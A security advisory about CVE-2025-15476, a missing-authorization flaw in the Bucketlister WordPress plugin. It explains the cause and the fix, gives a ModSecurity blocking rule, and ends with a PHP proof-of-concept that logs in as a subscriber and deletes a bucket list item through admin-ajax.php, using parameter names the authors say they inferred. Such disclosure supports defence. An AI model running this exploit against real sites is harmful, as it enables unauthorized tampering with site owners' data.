Atomic Edge analysis of CVE-2025-15476 (metadata-based):
This vulnerability is an authenticated Missing Authorization flaw in The Bucketlister WordPress plugin. The vulnerability resides in the `bucketlister_do_admin_ajax()` function, allowing any authenticated user, including those with the low-privilege Subscriber role, to add, delete, or modify arbitrary bucket list items. The CVSS score of 4.3 (Medium) reflects the low attack complexity and limited impact on integrity.
Atomic Edge research identifies the root cause as a missing capability check. The CWE-862 classification and the vulnerability description confirm the `bucketlister_do_admin_ajax()` function lacks a proper authorization mechanism. This function is likely registered as a WordPress AJAX handler accessible to both privileged and unprivileged users via the `wp_ajax_nopriv_` or insufficiently secured `wp_ajax_` hook. The analysis infers the function directly processes user-supplied parameters for CRUD operations without verifying if the current user has the `edit_posts` capability or a plugin-specific permission. This conclusion is inferred from the CWE and standard WordPress patterns, as the source code is unavailable.
Exploitation requires an attacker to possess a valid WordPress account with Subscriber-level access or higher. The attacker sends a crafted POST request to the standard WordPress AJAX endpoint `/wp-admin/admin-ajax.php`. The request must include the `action` parameter set to `bucketlister_do_admin_ajax`. Additional parameters, inferred from the plugin’s purpose, would specify the operation (e.g., `delete`, `update`) and target item identifiers (e.g., `item_id`). A sample payload to delete an item would be `action=bucketlister_do_admin_ajax&operation=delete&item_id=123`. No nonce check is present, as its absence is part of the vulnerability.
Remediation requires adding a proper capability check at the beginning of the vulnerable function. The plugin should verify the current user has a sufficient permission level, such as `edit_posts` or a custom capability like `manage_bucketlist`, before processing any data modification requests. The AJAX handler registration must also be corrected to ensure it is not accessible via the `wp_ajax_nopriv_` hook. Implementing a nonce check for state-changing operations would provide an additional layer of security, though the primary fix is the capability check.
The impact is unauthorized data modification. Attackers can arbitrarily alter the content of bucket lists, which are presumably user-specific data. This could lead to data loss, data corruption, or defacement of user-facing content if bucket list items are displayed on the site. The vulnerability does not permit privilege escalation, remote code execution, or direct information disclosure. Its scope is limited to the data managed by the vulnerable plugin.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2025-15476 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:15476,phase:2,deny,status:403,chain,msg:'CVE-2025-15476 via The Bucketlister AJAX - Unauthorized Bucket List Modification',severity:'CRITICAL',tag:'CVE-2025-15476',tag:'WordPress',tag:'Plugin/The-Bucketlister'"
SecRule ARGS_POST:action "@streq bucketlister_do_admin_ajax" "chain"
SecRule &ARGS_POST:action "!@eq 0"
"t:none,setvar:'tx.cve_15476_block=1'"
# This rule blocks all POST requests to admin-ajax.php with the action 'bucketlister_do_admin_ajax'.
# The vulnerability description confirms this exact AJAX action lacks authorization.
# Blocking this action is a precise virtual patch, as legitimate use by unprivileged users is the exploit.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-15476 - The Bucketlister <= 0.1.5 - Missing Authorization to Authenticated (Subscriber+) Bucket List Modification
<?php
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
$username = 'subscriber_user'; // CHANGE THIS - A low-privilege account
$password = 'subscriber_pass'; // CHANGE THIS
// Step 1: Authenticate to WordPress and obtain session cookies.
// This simulates an attacker with valid Subscriber credentials.
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url),
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt', // Save session cookies
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
]);
$response = curl_exec($ch);
// Step 2: Exploit the missing authorization to delete a bucket list item.
// The exact parameter names are inferred from the plugin's purpose.
// This payload assumes an 'operation' and 'item_id' parameter.
$exploit_payload = [
'action' => 'bucketlister_do_admin_ajax', // The vulnerable AJAX action
'operation' => 'delete', // Inferred parameter for deletion
'item_id' => 1 // Target item ID to delete
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POSTFIELDS => http_build_query($exploit_payload),
]);
$exploit_response = curl_exec($ch);
curl_close($ch);
// Step 3: Interpret the response.
// A successful exploit might return a JSON success message.
echo "Exploit attempt completed.n";
echo "Response: " . htmlspecialchars($exploit_response) . "n";
// Cleanup
if (file_exists('cookies.txt')) {
unlink('cookies.txt');
}
?>
